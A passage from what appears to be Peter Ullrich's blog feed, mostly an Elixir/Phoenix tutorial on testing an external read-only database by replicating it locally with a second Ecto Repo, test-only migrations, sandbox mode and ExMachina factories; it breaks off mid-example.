&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;I’m taking steps to avoid them.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright! Now it&apos;s time to actually start building something. Or maybe to make another coffee. Yeah, let&apos;s do that first!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/every-ending-is-a-new-beginning"/>
    <id>https://peterullrich.com/every-ending-is-a-new-beginning</id>
    <title>Every Ending is a new Beginning</title>
    <updated>2023-12-13T07:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey there! Let me welcome you with the customary dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What do you call a knight
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;made entirely out of fine china?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;Sir Ramic
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright! Now, let&apos;s dive into today&apos;s topic: How to test an external, read-only Database connection in Phoenix.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Sometimes, we have to connect our Elixir applications to read from an external database that we don&apos;t control. Setting up the connection is easy. Just create another &lt;code&gt;Repo&lt;/code&gt;, define the connection parameters in &lt;code&gt;runtime.exs&lt;/code&gt;, and define some schemas. Done! Now, you can query the external database through your Repo.&lt;/p&gt;
&lt;p&gt;The problem occurs when you want to write tests for that read-only database connection. How can you simulate the external database in your test environment? You could replace the connection with a mock module at runtime. Or you don&apos;t test it at all 🤷‍♂️&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;There&apos;s a better approach: If you only rely on small, stable parts of the database, you can replicate it locally and for your tests only. That way, you can be sure that your tests test the actual functionality and not just a mock.&lt;/p&gt;
&lt;p&gt;Let&apos;s see how we can create and migrate the database and write an ExMachina factory for it too!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-configuration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-configuration&quot;&gt;&lt;/a&gt;The Configuration&lt;/h2&gt;
&lt;p&gt;First, we need to create a new &lt;code&gt;Ecto.Repo&lt;/code&gt; for the external database connection. We can simply copy&amp;paste the autogenerated &lt;code&gt;Repo&lt;/code&gt; module and add a &lt;code&gt;read_only: true&lt;/code&gt; flag to block any &lt;code&gt;write&lt;/code&gt; operations to the external database (if needed).&lt;/p&gt;
&lt;p&gt;This is how the new Repo would look like&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/other_app/repo.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp.Repo&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;otp_app: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;adapter: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.Postgres&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;read_only: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Mix&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:test&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Note this&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that we set the &lt;code&gt;:read_only&lt;/code&gt;-flag to &lt;code&gt;true&lt;/code&gt; in all environments that are not &lt;code&gt;:test&lt;/code&gt;. In our tests, we need a read-and-write connection to create and migrate the database and populate it with our test data. But in all other environments, the external database will be created, migrated, and populated already. So, to prevent accidental changes to the database, we set &lt;code&gt;read_only&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s have a look at the Repo configuration in our tests.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/config.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;ecto_repos: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/test.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;ecto_repos: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Note this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;priv: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test/other_app_repo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Note this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;password: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;hostname: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;database: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my_other_app_test&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;MIX_TEST_PARTITION&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;pool: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;pool_size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are two important things in this configuration. First, we add the new Repo to the &lt;code&gt;ecto_repos&lt;/code&gt; of your app. This means that whenever we run &lt;code&gt;mix ecto.setup|create|migrate&lt;/code&gt; before our tests, Ecto will also create and migrate the new Repo. We don&apos;t want to change the external database in any other environment, so we only add the new Repo in &lt;code&gt;test.exs&lt;/code&gt; and leave it out in e.g. &lt;code&gt;config.exs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, if you run &lt;code&gt;MIX_ENV=test mix ecto.create&lt;/code&gt;, Ecto will automatically create the &lt;code&gt;my_other_app_test&lt;/code&gt; database in your local Postgres instance. Great!&lt;/p&gt;
&lt;p&gt;The second important detail here is the &lt;code&gt;priv: &quot;test/other_app_repo&quot;&lt;/code&gt; entry. When we create the test database, we also want to run migrations against it to create the tables that we want to test. We don&apos;t want these test migrations inside our &lt;code&gt;priv/repo/migrations&lt;/code&gt; folder, which belongs to the Repo of our app. Also, we only need these migrations in our tests, so we created a new folder inside &lt;code&gt;./test&lt;/code&gt; instead. We can tell Ecto where to find the migrations using the &lt;code&gt;:priv&lt;/code&gt;-config, so that&apos;s where we set it.&lt;/p&gt;
&lt;p&gt;Now, the repo configuration is done! Next, let&apos;s create some migrations for the test repo.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migrations&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migrations&quot;&gt;&lt;/a&gt;The Migrations&lt;/h2&gt;
&lt;p&gt;Before we can insert data into our external-but-now-local database, we need to create the tables that we test against. You can simply create migrations for the test repo using the following command:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_ENV&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ecto.gen.migration&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;create_or_add_something&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-r&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;OtherApp.Repo&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will create a new migration inside our &lt;code&gt;test/other_app_repo/migrations&lt;/code&gt; folder. Great!&lt;/p&gt;
&lt;p&gt;Now, add whatever migration you need to set up the external-but-now-local database. I&apos;ll wait!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-sandbox&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-sandbox&quot;&gt;&lt;/a&gt;The Sandbox&lt;/h2&gt;
&lt;p&gt;Ready? Good. Now, one last step is to start the external database in sandbox mode. To do that, simply copy and paste any code that Phoenix autogenerated for your app Repo already. That would be:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/test_helper.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ExUnit&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;mode&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:manual&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;mode&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:manual&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/support/data_case.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup_sandbox&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;my_app_pid&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_owner!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;shared: &lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:async&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;other_app_pid&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_owner!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;shared: &lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;not&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:async&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;on_exit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stop_owner&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;my_app_pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL.Sandbox&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stop_owner&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;other_app_pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! If you run your tests now, Ecto should create and migrate your test database and start it in sandbox mode.&lt;/p&gt;
&lt;p&gt;Now, you might think that you can start writing your tests ...&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-factory&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-factory&quot;&gt;&lt;/a&gt;The Factory&lt;/h2&gt;
&lt;p&gt;... but when you start writing your tests, you realize that you have no way of populating the external test database yet! You might want to use the fabulous &lt;a href=&quot;https://github.com/beam-community/ex_machina&quot;&gt;ExMachina&lt;/a&gt; library for that, but if you simply copy and paste your existing factory, you&apos;ll run into problems.&lt;/p&gt;
&lt;p&gt;ExMachina factories often receive the &lt;code&gt;use ExMachina.Ecto, repo: MyApp.Repo&lt;/code&gt; configuration which means that they&apos;ll insert test records for you automagically if you use their generated &lt;code&gt;insert&lt;/code&gt;, &lt;code&gt;insert_pair&lt;/code&gt;, or &lt;code&gt;insert_list&lt;/code&gt; functions. You probably import these functions in your &lt;code&gt;DataCase&lt;/code&gt; with &lt;code&gt;import Support.Factory&lt;/code&gt;. The problem here is that with two databases and therefore two factories, both factories expose the same &lt;code&gt;insert&lt;/code&gt;, &lt;code&gt;insert_pair&lt;/code&gt;, and &lt;code&gt;insert_list&lt;/code&gt; functions. So, you can&apos;t simply import them both! One solution would be to call the factory of the external database by their full name, but code like the following just looks wrong:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- This uses the Factory for MyApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Support.OtherApp.Factory&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, what we want is code like the following:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foo&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- This uses the Factory for MyApp&lt;/span&gt;
